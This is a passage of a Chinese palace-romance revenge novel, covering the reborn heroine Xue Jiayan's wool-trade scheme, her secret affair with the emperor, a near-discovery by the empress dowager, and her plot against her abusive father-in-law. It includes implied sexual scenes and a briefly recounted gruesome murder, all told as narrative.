姜玄又道:“这次通商,皇姐也会参与,等她的生意做稳了,你再出来,闲言碎语也少一些。” 薛嘉言只得点了点头,抬眸看向他,把“以粮换毛”的想法和盘托出:“我想着,鞑靼缺粮,可他们的羊毛、驼毛却多到堆积,今秋开始,我想全部以粮换毛,收来的羊毛可以售卖,以度过寒冬。” 姜玄挑了挑眉道:“想法不错。” 可夸赞过后,他话锋一转又道:“但你忘了一件事:大兖的冬天虽冷,却远不及鞑靼那般酷寒,寻常百姓有棉衣棉絮便够了,需用羊毛制衣御寒的人本就不多。换回来的羊毛若是太多,一时半会儿处理不掉,既占用银钱周转,又得耗费人力物力仓储。羊毛这东西,受潮便容易霉坏,放到明年怕是只剩一堆废料,反而亏了成本。” 薛嘉言微怔,听着姜玄条理清晰的分析,她心里暗叹,皇帝竟连商事细节都懂,倒真是出乎她的意料。 她蹙起眉,纠结了半晌,还是压低声音道:“我……我觉得今年冬天会特别冷,比往年都冷得多,到时候羊毛制成的毡毯、棉衣定能卖断货,绝不会积压。” “哦?”姜玄低头,眉峰微挑,语气带着几分好奇,“你怎么这般肯定?” 薛嘉言避开他探究的目光,小声道:“是……是做梦梦到的。” 她不敢说实话,怕被当作异端处置了,毕竟前世她因时常进宫,曾听宫女们提起,先帝朝时,有位贵妃突发癔症,说自己多活了一世。 当时姜玄从冷宫里出来不久,暂住在皇后宫里,贵妃便说皇后居心叵测,要立六皇子为傀儡,让国舅宋家掌权,并且皇后真的做到了。 那贵妃的下场自然不好,被当作妖言惑众的异端处死。 堂堂贵妃都能因此丧命,薛嘉言可不敢赌。 她只能借着梦境搪塞:“梦里漫天大雪,下了整整一个腊月,冷得人都不敢出门,城里的羊毛制品被抢着买,连当铺里的旧毡毯都被翻了出来,价格涨了好几倍呢……” 姜玄闻言,朗声笑了起来,他揉了揉薛嘉言的脸,语气带着几分戏谑:“梦岂可当真?民间都传‘梦是反的’,你梦见天寒,说不定今年是个暖冬呢。” 薛嘉言抿了抿唇,心里急却没法辩解。总不能告诉他,她是重生回来的,亲身体验过那年冬天的酷寒吧? 她想了想,先软了语气:“陛下说的是,寻常梦自然作不得数,可我那梦……太真了。” 薛嘉言微微抬眼,眼底映着烛火,竟带了几分真切的忧色:“梦里我站在京城街头,腊月的雪下得没膝深,乞丐裹着破棉絮冻死在街角,五城兵马司拉着冻得硬梆梆的尸体,一车一车往外拉;边境的驿卒冒雪送信,说军营里的棉甲不够厚,好些士兵冻死冻伤,鞑靼进犯,边关失守……” 姜玄原本带着笑意的眼神沉了沉,薛嘉言说得太细致了,有些细节,倒像她真的经历过一样。 薛嘉言见状,趁热打铁,坐直身子与他对视,柔声道:“皇上,我梦醒后也是吓了一跳,想着若是上天示警,怎么会教我梦见,而不是旁人呢?后来我想,大概是我这阵子有幸伴驾,这才向我示警,让我告知皇上呢。” 姜玄脸色凝重起来,他觉得未雨绸缪未为不可,即便今冬不像薛嘉言梦中那么寒冷,也就多损耗一些银钱罢了。 薛嘉言见姜玄重视起来,趁热打铁道:“至于皇上担心的羊毛销路,我也仔细想过。若是寻常年份,羊毛或许难卖,可若真如梦里那般冷,情况就不一样了——” 她伸出手指,一一数来:“第一,我已让周掌柜去联系周边的织坊,提前订下合作,羊毛运回来就能纺成毛线、织成毡毯,再做成棉衣、棉靴,这些都是过冬刚需,百姓定会抢着买;第二,边境军营每年都要添制棉甲,往年用的都是粗麻混棉,若是换成羊毛内胆,保暖性要好上数倍,工部今年做军衣的单子,让福运粮行参与呗,既解了销路,又能让士兵少受冻,岂不是两全其美?” 姜玄失笑:“你还真不客气。” 薛嘉言笑道:“皇上不是说给我做靠山吗?我这不是也想着为了大兖百姓和士兵们考虑,归根到底,还不是为了皇上。” 这话说得姜玄心中熨帖,他伸手揉了揉她的发顶,语气里带了几分笑意,却少了先前的轻慢:“你想得周全,连军用品和边境安稳都算进去了,朕要是不答应你,今冬若严寒,倒是朕的不是了。” 薛嘉言见他松口,心里一松,又故意放软了声音:“我还不是背靠大树好乘凉,沾着皇上的光。皇上,这买卖要压不少银子,你得帮我出。” 第79章 皇帝的变化 薛嘉言自己有不少嫁妆银子,母亲临走之前,留了吕家的印信给她,也可以调动吕家铺子上的钱。不过,既然是姜玄要为她铺路,他能出钱是最好的。 这几日,薛嘉言已经想明白了,或许是她重生以来对姜玄的态度发生变化,姜玄对她也渐渐不像以前那般阴鸷。 只是姜玄毕竟还是要选秀的,到时候他的后宫皇后妃嫔一堆,她这个“教习姑姑”也就没了用武之地,作为姜玄的第一个女人,他不愿意亏待她,想着为她铺路,诰命加身,再拥有大笔财富,保她下半生无虞。 她对于姜玄这个安排还是很满意的,等她弄死戚少亭,就更圆满了。 姜玄看着她笑出声,伸手将她揽回怀里:“好,朕信你这一回,等会吩咐张鸿宝,拿朕私库里的银子给你做生意。” 他低头在她额间印下一个轻吻,语气带着宠溺,“军衣的事,朕让张鸿宝去打个招呼,让他们优先跟你这边合作,不过你可得做好了。” 薛嘉言笑道:“多谢皇上,皇上放心,我一定做好。” 姜玄看了一眼角落的刻漏,欺身压下来,手也不老实了,薛嘉言也想念他的手段,主动去解他的衣裳。 餍足之后,姜玄捏着薛嘉言的腰,哑声道:“朕的生辰要到了,你要送朕一件礼物。” 薛嘉言知道姜玄的生辰,不过她前世一次也没送过,还故意在他生辰那日说难听的话刺激他,气得姜玄将冰盆都踢翻了。 她轻笑着,亲了亲姜玄问道:“皇上想要什么?” 说起来,送皇帝的礼最难选,他坐拥天下,她实在不知送什么。 姜玄想了想道:“你给朕做一身寝衣吧,要亲手做的。” 薛嘉言想了想,竟没有比寝衣更合适的东西,毕竟他们就是床上这点关系,送别的不合适,也容易露馅。 “我的手艺粗陋,皇上别嫌弃。” 姜玄嗯了一声,“不会,朕本来也没指望你的手艺有多少,反正是寝衣,只有咱们两个人能看到。” 待出了皇宫,上了马车,薛嘉言忽然觉得,近来皇帝好像不像以前那么喜怒无常了,对她的态度可比前世好太多了,难怪人家都说温柔乡是英雄冢。 清茗茶楼的雅间里,周掌柜便踩着轻快的脚步推门而入,脸上带着难掩的喜色,一进门就拱手笑道:“薛东家,成了!左贤王已选中福运粮行成为三家粮行之一,明日便可拟定通商文书!” 薛嘉言笑着道:“辛苦周掌柜了,左贤王那边,没提什么苛刻条件吧?” “条件都在情理之中,无非是要求粮质上乘、运输准时。”周掌柜在她对面坐下,端起茶杯喝了口茶润喉。 薛嘉言神色平静地说道:“后续与鞑靼的贸易,我打算改‘售粮换银’为‘以粮换毛’,关于价格问题,需要周掌柜费心了。” “以粮换毛?”周掌柜眉头瞬间拧成了疙瘩,连连摆手,“薛东家,这可不行!羊毛这东西占地方,运输也麻烦,这么多羊毛收回来,一时半会儿怎么变成银子?太不划算!” 他做了十几年粮贸,向来是银货两清最省心,从未想过要换这种“不易出手”的货物,只觉得这提议实在荒唐。 薛嘉言却没急着反驳,语气沉稳道:“周掌柜别急。鞑靼一向缺粮,对他们而言不如粮食金贵,我们以此为条件压价,既能少让利,又能多换物资,看似麻烦,实则赚得更多。” 周掌柜仍皱着眉,指尖捻着胡须:“可羊毛的损耗太大了,存放不当容易发霉虫蛀,就算能卖出去,也得折价,到头来未必比直接换银划算。” 薛嘉言抬眼看向他,缓缓道:“这点周掌柜无需担心。其一,我找人起卦,说是今冬严寒,对羊毛的需求很大;其二,今年朝廷的军衣制作,张公公会去跟工部说一声,让咱们的羊毛物有所用。我打算趁热打铁,再开一间福运织品行,专门处理这些羊毛,后续直接供应工部。” 周掌柜在听到薛嘉言说起卦时,还觉得是无稽之谈,等她说道工部的事,他猛地坐直了身子,眼睛瞬间亮得惊人。 这可是天大的机会!寻常商户别说对接工部,就连靠近军需采买的边都摸不着。 一旦能拿下军衣订单,福运粮行就不再是单纯的粮贸商户,而是能横跨粮、织两大领域,背靠朝廷做生意,这往后的富贵简直不可限量! 周掌柜此刻才彻底明白张鸿宝那句“福气还在后头”的深意。眼前这位薛大东家,不仅有皇家撑腰,更有这般长远的谋划,绝非寻常女子可比。 周掌柜连忙放下茶杯,脸上的疑虑早已烟消云散,取而代之的是满满的恭敬与急切:“薛东家英明!是老朽目光短浅了!这以粮换毛的法子好,开织品行对接工部更是绝妙!您放心,左贤王那边我这就去交涉,定要按您说的,多换两成羊毛回来!通州那边正有家织坊在转让,我马上去看看,若是合适,咱们就盘下来!” 戚家,戚炳春坐在戚府客堂的梨花木椅上,目光落在二门处,脸色沉得能滴出水来。 自被工部除职后,他每日仍披着件半旧的青色官袍在院里踱步,心里跟猫抓一样难受。 他原指望儿子能帮他再谋个职位,毕竟戚少亭如今已是鸿胪寺丞,还立了迎接鞑靼使团的功劳,怎么说在鸿胪寺也算有了一席之地。 可每次提起这事,戚少亭不是皱着眉敷衍“父亲再等等,儿子正找机会”,就是被问得烦了,起身就走,留下他一个人气闷。 戚炳春哪里知道,戚少亭这五品官看着风光,实则在鸿胪寺里孤立无援。同僚们平日里并不大愿意跟他交往,说话间总是客套有余,亲近不足,他初来乍到,哪里敢给老爹安排什么差使。 等不到儿子的回复,戚炳春又把心思转到了薛嘉言身上。 他知道儿媳妇有钱,说不定能花钱帮他再买个差事。 这日一早,戚炳春便让管家去后院请薛嘉言来客堂说话,自己则端着茶盏,摆出几分长辈的威严,等着她来。 等了好一会,下人才来回话:“老爷,大奶奶一早就出去了。” 第二日,戚炳春又让人去请,仍没有请到人,说是又出去了。 “又是不在?”戚炳春“啪”地放下茶盏,茶水溅到桌面上,他脸色铁青,这哪里还有官家娘子的样子,一天到晚往外跑。 第三日天刚亮,戚炳春便坐到了客堂里,叫住一个丫鬟:“去春和院请大奶奶,就说我在客堂等着她,今日她就是有天大的事,也得先来见我!” 他不信,薛嘉言还能一大早就出门。 第80章 又要去当替身了? 此时的薛嘉言刚起床,听司雨把戚炳春的话复述一遍,唇角勾起一抹极淡的冷笑,眼底却没半分温度。 她原本的计划,是先弄死戚少亭,等戚家人尝够白发人送黑发人的痛苦,再慢慢收拾戚家剩下的三个人,可戚炳春偏要自己撞上来,还这般咄咄逼人,也好,那就先从他下手。 想到弄死戚炳春,薛嘉言眼底忽然闪过一丝锐光,他一死,戚少亭就得按制丁忧三年,这刚到手的五品鸿胪寺丞,还不是得乖乖还回去?对于戚少亭这种人来说,那的是抓心挠肝的疼,哭得不是爹死了,是是官没了。 薛嘉言思忖片刻,决定还是移步往客堂去,看看戚炳春想做什么。 戚炳春端坐在主位上,眉头拧成一个疙瘩,脸色阴沉,见薛嘉言进来,开口便是冷硬的训斥:“你如今真是越发没规矩了!哪有做儿媳的整日往外跑,抛头露面像什么样子?戚家的脸面,都快被你丢尽了!” 薛嘉言看着他,忆起前世之事,咬了咬牙。 她死前的那个秋天,一天夜里,甘松来接她入宫。谁知姜玄有事,她刚到宫门口又被送了回来。 那晚她恰遇到醉酒晚归的戚炳春,戚炳春借酒发疯,欲行不轨,嘴里低声说着:“咱也尝尝皇帝的女人什么滋味……” 薛嘉言拼命挣扎却不敢大声喊,被人知道,她原本就不堪的名声,更会雪上加霜。 “贱人,又不是黄花闺女,皇帝睡得,老子摸不得?” 挣扎间,薛嘉言的簪子刺中了戚炳春的面颊,戚炳春大怒,扯过薛嘉言踹了两脚。幸好戚少亭这时过来了,将她带走了。 戚炳春见薛嘉言半天没说话,不耐烦道:“你可知错?” 薛嘉言回过神来,心底翻涌着恨意,面上却连一丝波澜都无。 她清楚戚炳春的脾性,跟他分辨不过是白费口舌,只淡淡抬眸,语气平静无波:“公公找我,想必不是只为了训斥我几句吧?有什么事,不妨直说。” 戚炳春被她这不软不硬的态度噎了一下,清了清嗓子,端起茶盏抿了口,才慢悠悠道:“我在家闲了这些时日,实在闷得慌。你娘家在京里人脉广,路子多,便帮我寻个差使做做。也不用多大多体面,是份正经差事就行,也能帮着贴补家用,总好过在家坐吃山空。” “贴补家用”四个字,听得薛嘉言心头冷笑不止。他从前的俸禄何曾往家里拿过,不过是官瘾犯了,又想用她的银子再买个官罢了。 薛嘉言面上却没露分毫,只微微颔首,应承道:“公公的意思我晓得了,你先留意着,有合适的机会再跟我说。” 说罢,她不再多留,转身便往外走,戚炳春本还有些不高兴,但想着儿媳这意思是答应了,便忍了下来。 薛嘉言现在有李虎那样的杀手,要取戚炳春的性命易如反掌。可一刀毙命,也太便宜他了,死得未免太过痛快。 薛嘉言眼底闪过一丝阴鸷的冷光,她不仅要戚炳春死,还要他死得痛苦,死得难看。 官迷、好色……这是戚炳春的弱点,可以拿来做文章。 薛嘉言坐在窗下细细思量,忽想起前世一桩命案来。 那是立冬节后第二日,天刚亮,栾氏就跌跌撞撞跑回府,发髻散乱,声音发颤地说:“不好了……王寡妇家出命案了!死人了!” 当时薛嘉言还以为是邻里争执闹出的祸事,直到后来司雨偷偷跟她讲起细节,才知道那命案有多惨烈。 原来那王寡妇不是正经人了,她夫君张大还在世时,就跟张大的弟弟张二勾搭上了。 可张二是个混不吝的,整日喝酒赌钱,一分银钱都存不下,王寡妇哪里肯跟他长久?后来不知怎么就勾上了吏部的杨主事,杨主事手里有实权,还肯给她银子,她就把张二抛到脑后了。 张二得知后气疯了,立冬节夜里揣着把刀就闯进了王寡妇家,他先把杨主事和王寡妇都绑了,嘴里塞了麻核,怕他们喊叫,又拿粗布巾裹得严严实实。然后他就当着王寡妇的面,一刀一刀地活剐杨主事 !张二以前是刽子手,懂怎么割肉最疼还能让人活久点,听说割了好几百刀,杨主事的血把屋子地都浸透了,到最后众人撞门冲进去时,杨主事还有口气,眼睛瞪得老大,样子凄惨至极。 想到司雨当年描述的惨状,薛嘉言唇角缓缓勾起一抹冰冷的笑,王寡妇住在戚府隔壁的胡同里,风韵犹存,一双眼睛总带着勾人的笑意,最会哄男人欢心;而杨主事是吏部的人,恰好是戚炳春如今求之不得想攀附的门路——这不正是上天为戚炳春量身造好的陷阱? 薛嘉言叫来吕舟,让他想法子让戚炳春看到有男子出入王寡妇家里,再不经意透露,那是吏部的主事,吕舟得令去安排了。 薛嘉言吩咐完,便先将戚炳春的事暂且抛在脑后,案头叠着的天水碧的软缎还等着她动手,姜玄的生辰近了,她早前答应过要亲手做件寝衣,可不能误了时辰。 这软缎是她特意去挑的,摸上去像揉了团云絮,贴在掌心凉丝丝的,做寝衣最是合适。 薛嘉言忘记先量好尺寸,想着姜玄比父亲高大些,肩宽也更阔,便按照父亲的衣裳尺寸把衣襟放宽两寸,袖口再放一寸,应该差不离。 衣裳是司雨裁剪的,缝制总不能再让司雨动手,姜玄可说了,要她亲手做的。 薛嘉言缝了一会回头细看,针脚歪歪扭扭的,司雨也笑道:“奶奶,还是我来吧,这哪是您干的活?” 薛嘉言摇摇头:“罢了,就是一份心意,他也不一定会穿。” 司雨看着那衣裳的尺寸就猜测不是给戚少亭的,她是个谨慎人,没有多嘴问什么。 想到从前春和院的针线都是她和司春做的,司雨想问问司春去了哪里,话到嘴边又咽了回去。 薛嘉言缝了两天才算缝完,软缎上的针脚粗陋,有疏有密,幸好司雨熨烫得好,乍一看竟也像那么回事。 到了姜玄生辰这日,白日里薛嘉言便开始惦记这件事,司雨跟她说话的时候,她走神好几次,惹得司雨抿着嘴笑。 这般心神不宁到了傍晚,月上柳梢,宫里的人就来了。 薛嘉言理了理衣襟,提着裙摆往外走,刚走到门口,就见戚少亭倚门槛站着,他脸上不知什么时候又带了些伤,眼神阴恻恻的,看着有些吓人。 “又要去当替身了?” 他的声音压得很低,带着毫不掩饰的讽刺。 第81章 大了吗? “又要去当替身了?” 薛嘉言脚步一顿,反对着他嫣然一笑:“对啊,天上月清冷,枕边人温热,说不准哪日,我就成了他的心尖宠呢?” “你!”戚少亭气得胸膛起伏,咬牙斥道:“别做梦了,你生是戚家妇,死是戚家鬼,难道还想进宫不成。” 薛嘉言从未想过进宫,但看戚少亭这副模样,她只觉得畅快,又故作向往地说道:“哎呀,这可说不准,汉朝王夫人二嫁入宫为后,唐高宗娶太宗才人为后,皇家的事可说不准,万一我也能有这荣幸呢?到时候皇上还不得封你个国公当当?” 戚少亭脸上的血色瞬间褪得干干净净,薛嘉言赤裸裸地将他的不堪说出来,他恼羞成怒,扬起手臂就要往薛嘉言脸上掴去。 薛嘉言不闪不避,甚至微微抬起了下巴。 “打啊。” 她红唇轻启,声音不高,却字字如锤,砸在他的心上。 “朝这儿打。我等下要进宫……正好让皇上看看,戚大人是如何的威风。” “你——!” 戚少亭目眦欲裂,胸膛剧烈起伏,那高举的手臂如同被缚住,挣扎着,痉挛着,却落不下去。 他看着她,看着那双映出自己此刻狼狈而扭曲面孔的眼睛,最终,沉重地、颓然地垂下手臂,连带他整个人的精气神,也一同垮了下去。 “夫君若无他事,”薛嘉言语气平静无波,“妾身,便先行入宫了。” 说罢,她不再看戚少亭难看的脸色,转身提着裙摆出了门。 车帘落下,车厢自成一方小天地。薛嘉言一边换衣裳,一边思索着。 前世戚少亭算计她,利用司春给她下避子散,她跟姜玄三年,从未有过身孕。 如今她已经看破他的奸计,司春被苗菁带走后,她就找了大夫调理身子,戚少亭不是不想她有孕吗。她偏要有,偏要生姜玄的孩子。 戚少亭知道自己有了姜玄的孩子,脸色一定精彩极了。 薛嘉言进入寝殿时,殿内只有玉珍。玉珍轻声道:“薛主子,今儿是皇上生辰,太后宫里摆宴,还要耽搁片刻,您先坐着等一等。” 薛嘉言颔首应下,随手从书架上抽了本《诗经》翻看。 不知等了多久,殿外传来轻缓的脚步声,姜玄走进来,看到薛嘉言靠着迎枕半眯着眼小憩,轻手轻脚走过去,弯腰在她唇上亲了一口。 薛嘉言猛地惊醒,手一抖,《诗经》“啪”地落在迎枕旁,她抬眸瞪向姜玄,嗔怪道:“皇上怎么走路跟猫似的?吓我一跳!” 姜玄双颊因饮了酒泛着浅红,眼神比平日更显柔和。他顺势坐在她身旁的软榻上,目光扫过一旁的寝衣挑眉问道:“这是给朕做的?” “嗯。”薛嘉言回答,想到自己的绣技,脸上不由有些发烫。 姜玄起身慢条斯理地解着常服的玉带,玄色衣料滑落,露出精壮的脊背。他拿起寝衣展开,目光掠过衣襟处歪扭的兰草绣纹,又扫过袖口处时松时紧的针脚,唇角不自觉地向上弯起,连眼底都染了笑意。 “朕试试。” 他说着,将寝衣往身上套,软绸贴合着身体,虽确实比合身尺寸宽了些,却胜在料子柔软亲肤。 薛嘉言看着姜玄穿好后,脸更热了,小声问:“大了吗?” 姜玄意味不明的笑着,低声道:“大了。” 他拉着她的手从胸膛往下,薛嘉言捶了他胸口一下,姜玄低笑,欺身将她压倒。 烛影摇红,寝殿内一室春意。角落的铜壶滴漏“嘀嗒”轻响,却渐渐被帐内溢出的低吟盖住。 玉珍站在殿外伺候,听到姜玄似乎在说今日是他生辰,要薛嘉言满足他什么要求,也不知道薛嘉言有没有满足,反正呻吟声越来越密,臊得玉珍脸上红了又红。 玉珍仰头望着天上半圆不圆的月亮,只盼着刻漏走得快些。 忽然,长宜宫宫门口传来一阵脚步声,声音并不大,但在寂静的夜里格外清晰。 玉珍心头一紧,抬眼望去,只见一队人影迎着月色而来:为首的张嬷嬷提着描金宫灯,暖黄光晕里,太后身上穿着件浅色杭绸衣裙,料子轻软,上头用银线绣着细密的缠枝莲纹,走动间,月光下步步生辉。 玉珍一时有些惊诧,很少见太后穿着这样浅的颜色。 “太后娘娘,您慢些脚下,仔细台阶。” 紧随其后的陆怀快步上前,声音压得极低,额角却悄悄渗出细汗,“皇上回来便说累了,这会儿……已经睡下了。” 他一边说,一边悄悄观察太后的神色,腰弯得更低了些。 太后脚步顿了顿,低声道:“皇上回寝殿这才多久,怎就睡下了?” 她往前挪了两步,目光落在寝殿紧闭的朱漆门上,抬了抬下巴道:“哀家还有些事要跟他说,你去通报一声。” 陆怀心里暗暗叫苦,忙躬身回话:“太后,皇上回殿时特意吩咐了,今夜谁也不许进去打扰。您有要事,不如明儿一早再……” “皇上素来喝酒后睡不安稳,还总爱蹬被子,哀家这是放心不下。就进去瞧瞧他盖没盖好被子,看一眼就走,不扰他深睡。” 太后不由分说,已抬脚走到寝殿门口,脚步没再停留,显然是打定了主意要进去。 玉珍站在一旁,心里直打鼓,不知该不该大声通报。她刚要张开嘴,却见太后摆了摆手,眼底的威严让她瞬间把话咽了回去。 紧接着,太后身旁的张嬷嬷上前,轻轻推开寝殿门。“吱呀——”一声轻响,殿门被推开一道缝隙,泻出一线微光。 太后没再犹豫,提起裙摆,迈过门槛走进寝殿,张嬷嬷和两名贴身宫女紧随其后,正要进去,太后压低声音道:“你们在外面等着哀家,人多会吵醒皇上。” 陆怀和玉珍站在殿外,心几乎要跳出来。 帐内暖香正浓,姜玄的大手掌着薛嘉言的腰际,忽听得殿门处传来轻微声响。 他眉峰瞬间蹙起,语气里带着不耐,沉声道:“滚出去!” 第82章 两边都露馅 姜玄原以为是陆怀或是玉珍进来伺候,毕竟往日里他若未吩咐“不许打扰”,宫人总会隔段时辰进来添灯或换茶。 可话音刚落,外头便传来一道温柔的女声:“栖真,你睡了吗?” “栖真”二字入耳,姜玄浑身一僵,方才的不耐瞬间褪去。 他几乎是下意识地抬手,将半垂的藕荷色纱帐猛地拽拢,翻身将薛嘉言裹在怀里,藏在龙榻里侧。 薛嘉言也被忽然响起的女声吓了一跳,鼻尖撞在他的胸膛上,咬着唇没敢痛呼出声,她清晰地察觉到姜玄的身子紧绷,也跟着紧张起来。 殿内的脚步声缓缓靠近,在屏风上投下晃动的人影。很快,那脚步声便越过了屏风,停在龙榻前。 龙榻两侧各点着一盏琉璃灯,灯芯燃得正旺,暖黄的光透过薄纱帐,将帐内的人影映得隐约可见,这原是姜玄为了瞧镜中春色特意吩咐的。 “母后,儿臣累了,已经睡下了。”姜玄压着声音回话,尽量让语气听起来平稳些。 他盯着帐外的光影,见一道修长的人影立在榻边,正是太后。 姜玄看到,太后的胳膊缓缓抬了起来,手指朝着纱帐的系带伸去,似乎是想掀开帐子看一看。姜玄眉峰拧得更紧,他拍了拍薛嘉言,示意她别紧张。 薛嘉言心脏“咚咚”地撞着胸口,她下意识地抱紧姜玄的胳膊。帐内外的空气仿佛都凝固了,只有琉璃灯里的灯芯偶尔“噼啪”一声。 就在太后的指尖快要碰到系带时,她的动作却忽然顿住,跟着缓缓放下了胳膊。她的声音隔着纱帐传进来,带着一丝不确定:“栖真,你床上……有人?” 姜玄喉结滚了滚,“嗯”了一声,尽量和缓着说道:“母后若是有事,儿臣明日一早便去慈宁宫,同您细谈。今夜……实在不便。” 帐外沉默了片刻,才听得太后叹了口气,声音软了些:“哀家原是想同你说中秋庆典的安排,又想着你今日喝了酒,怕你不舒服。既然你倦了,那哀家便先走了。” 话音落,太后转身离去,不多时殿外响起陆怀的声音:“老奴送太后出去。” 长宜宫门口,太后正立在宫灯旁,低声问陆怀:“方才寝殿里的女子,是谁?” 陆怀心头一紧,手心瞬间冒了汗,只能硬着头皮回道:“是千茉姑娘。” 太后闻言,指淡淡“嗯”了一声。她抬眼望向寝殿的方向,月色映在她眼底,看不出情绪,只缓缓吩咐:“让彤史把日子记清楚了。往后若是有了身孕,第一时间报到哀家这里来。” 陆怀连忙躬身应道:“老奴遵旨。”他低着头,看着太后一行人慢慢走远,才轻轻舒了一口气。 姜玄轻揉了一下薛嘉言的脸颊,指腹触到她微凉的肌肤,问道:“害怕了?” 薛嘉言轻轻“嗯”了一声,脸色是少见的苍白,连唇瓣都失了几分血色。 方才太后的身影在帐外晃动时,前世的记忆如潮水般涌来:也是这间寝殿,也是这样的夜色,她与姜玄的私情被撞破,太后满脸冰霜地站在榻前,眼神像淬了冰的刀子,落在她身上时满是嫌恶,仿佛在看一件秽物,当场便喝令禁卫军“将她就地射杀!”。 若不是姜玄死死将她护在身后,以“朕的人,谁敢动”的强硬压下局面,那晚她早已成了长宜宫阶下的孤魂。 可前世这一幕,还早得很,也是因为有刺客行刺,太后才进到寝殿里的。 太后虽不是皇帝的亲生母亲,这样的夜晚进皇帝的寝殿,莫名让薛嘉言感到有些不舒服。 姜玄见她眼神发怔,心头微沉,抬手将她揽进怀里,下巴抵着她的发顶,低声追问:“真的吓着了?” 他顿了顿,“你放心,就算真被太后发现了,朕也能护着你,谁也动不了你半根手指头。” 薛嘉言埋在他怀里,知道他说的是实话可她不想惹这麻烦,万一再生出什么枝节,像前世那样声名狼藉。 她轻轻推开他,低声道:“我知道皇上护着我,可……还是小心些好,我怕毁了皇上的英名。时辰不早了,我该回戚府了。” 姜玄看着她眼底的顾虑,俯身在她唇上印下一个绵长的吻,才扬声唤道:“玉珍。” 帐帘被轻轻掀开,玉珍端着衣物走进来,低着头不敢多看,只恭敬地站在一旁伺候。 薛嘉言在她的服侍下换上太监的衣裳离开寝殿。 从宫里回来,天还暗着,薛嘉言从马车上下来,阿吉开了门,薛嘉言正要抬脚往戚府后门里走,巷口阴影里忽然蹿出一道黑影。 她心头猛地一缩,惊得后退半步。天色黑沉沉的,雾气又重,看不清面容,薛嘉言想着看不清才好,赶紧往里走。 谁知那黑影快步跑过来,拦住了薛嘉言。 那人身上浓重的酒气扑面而来,薛嘉言这才看清来人竟是戚炳春。他脸上泛着酒后的潮红,眼神却浑浊而锐利,死死盯着她,像是要把她看穿。 “少亭家的?”戚炳春的声音沙哑低沉,“这大半夜的,你去做什么了?” 薛嘉言定了定神,面上平静,淡淡回道:“夫君让我出去办事。” 戚炳春嗤笑一声,脸色愈发难看,眉头拧成了疙瘩,“少亭能有什么事要你一个妇道人家半夜去办?我看你是在外头与人私通吧!” 薛嘉言懒得跟他多费口舌,说完便转身要往门里走。可刚走两步,手腕就被戚炳春猛地攥住,他的手指粗粝而用力,像铁钳般扣着她,疼得薛嘉言眉尖蹙起。 “你给我站住!”戚炳春恶狠狠地瞪着她,眼底满是怒火,“说!你是不是去偷人了?奸夫是谁?” 一旁的阿吉急得不知怎么办,小声解释着:“是大爷让大奶奶出去的。” 戚炳春却不停,瞪了阿吉一眼:“狗东西,你被她收买了吧?” “放开我!”薛嘉言厌恶地挣扎着,手腕被攥得生疼,心底的杀意瞬间翻涌。 可戚炳春抓得极紧,她挣扎了几下竟没能挣脱。 第83章 以其人之道,还治其人之身 戚炳春咬牙切齿,唾沫星子都喷到了她脸上:“贱人!敢做不敢认?走,跟我去见少亭!我要让他看看,他娶了个什么样的淫妇!” 薛嘉言眸色一沉,面上却平静下来,她停下挣扎,抬眼看向戚炳春,语气冷淡:“好,我跟你去见夫君,但你先放开我。” 戚炳春犹豫了片刻,手上的力道松了些,最终还是松开了薛嘉言的手腕,率先往春和院走。 春和院书房,戚少亭被下人从睡梦中叫醒,衣衫都没穿整齐,刚站稳就被戚炳春一把拽住胳膊,语气急切又带着怒火:“少亭!你快说说,薛氏刚大半夜从外面回来,说是什么你让她出去办事,可有此事?” 薛嘉言抬眸看向戚少亭,声音清淡却带着不容置疑的倦意:“夫君,我累了,此事你与爹解释吧。” 说罢,她连一个眼神都没再分给戚家父子,转身便往外走。 戚少亭看着她的背影,脸色阴沉下来,重重地坐在床边上。 戚炳春气得在屋里踱来踱去,指着门口的方向,胸口剧烈起伏:“你瞧她那个样子!眼里还有没有你这个夫君,有没有我这个公公?都被我撞破了还敢摆脸子,你倒是说话啊!” 戚少亭沉默了许久,终是重重叹了口气,声音压得极低,带着几分难以言说的苦涩与无奈:“爹,你以为我这是怎么升的官?” 戚炳春愣在原地,脸上的怒气瞬间僵住。 儿子骤然高升,他不是没私下揣度过,可戚少亭一直说,是皇帝赏识他的文章才破格提拔,他虽偶有疑虑,却也贪图这份荣耀,从未深究。 眼下儿子忽然这般说,模糊的猜测瞬间清晰起来,戚炳春的心跳猛地加快,喉咙发紧,结结巴巴地问道:“你……你是说,你让薛氏去……去陪人……睡觉?” 戚少亭垂着头,散落的发遮住了眼底的情绪,艰难地点了点头,声音沙哑着说:“我没办法。咱们戚家在京城毫无根基,若不抓住机会,我这辈子都只能是个不起眼的七品小官,永无出头之日。薛氏她……她有这个机缘,能帮衬家里,我……” 他话未说完,却已道尽了其中的龌龊。 戚炳春脸上的神色几经变幻,从震惊到难以置信,再到渐渐平静,最后竟露出了几分贪婪。 他走上前,重重拍了拍戚少亭的肩膀,语气带着宽慰,眼神里却满是算计:“没事,少亭,这有什么好难受的!女人嘛,不过就是一件衣裳,穿旧了、用不上了,脱了这件再换一件就是了。等你将来官做大了,咱们换新的、换好的,什么样的美人没有?” 戚少亭闻言,紧绷的肩膀微微松弛了些,低低地应了一声“嗯”,只是垂着的眼眸里,依旧藏着一丝难以掩饰的难堪——即便他早已做出选择,被父亲这般赤裸裸地戳破,仍是觉得颜面无光。 戚炳春却像是打开了话匣子,眼神发亮,凑近了些,压低声音急切地追问:“那薛氏陪的到底是谁?竟有这么大的本事,能让你连升几级?是哪个王爷,还是六部的尚书?” 戚少亭猛地抬头,眼神里带着几分慌乱与警惕,连忙摆手:“爹,别问了!那人位高权重,不是咱们能随意议论的。你只当不知道这件事就好,往后也千万别再追问薛氏,更不能对外声张,否则一旦出事,咱们整个戚家都要万劫不复!” 他的语气带着前所未有的凝重,戚炳春虽贪财,却也知道轻重,见儿子这般模样,便不敢再追问,只是心里已然有了计较。薛氏背后的人既然如此厉害,那他往后可得好好“利用”这份关系,不仅要让儿子继续升官,他自己也得从中捞些好处才是。 因太后忽然闯入,加上戚炳春的怀疑,薛嘉言心神不宁,这夜没有休息好。 第二日一早,她刚睁开眼,司雨端着铜盆进来伺候她梳洗。 薛嘉言声音带着刚醒的微哑,低声问:“给了?” 司雨压着声音气冲冲道:“给了!昨夜春桃就送过来给我了。大爷也太过分了!奶奶为了戚家……出钱出力……” 司雨说到后面,声音哽咽,说不下去了。 薛嘉言叹了口气,轻轻拍了拍司雨的胳膊,示意她别难受。 司雨从袖袋里摸出个小小的油纸包,递给薛嘉言。 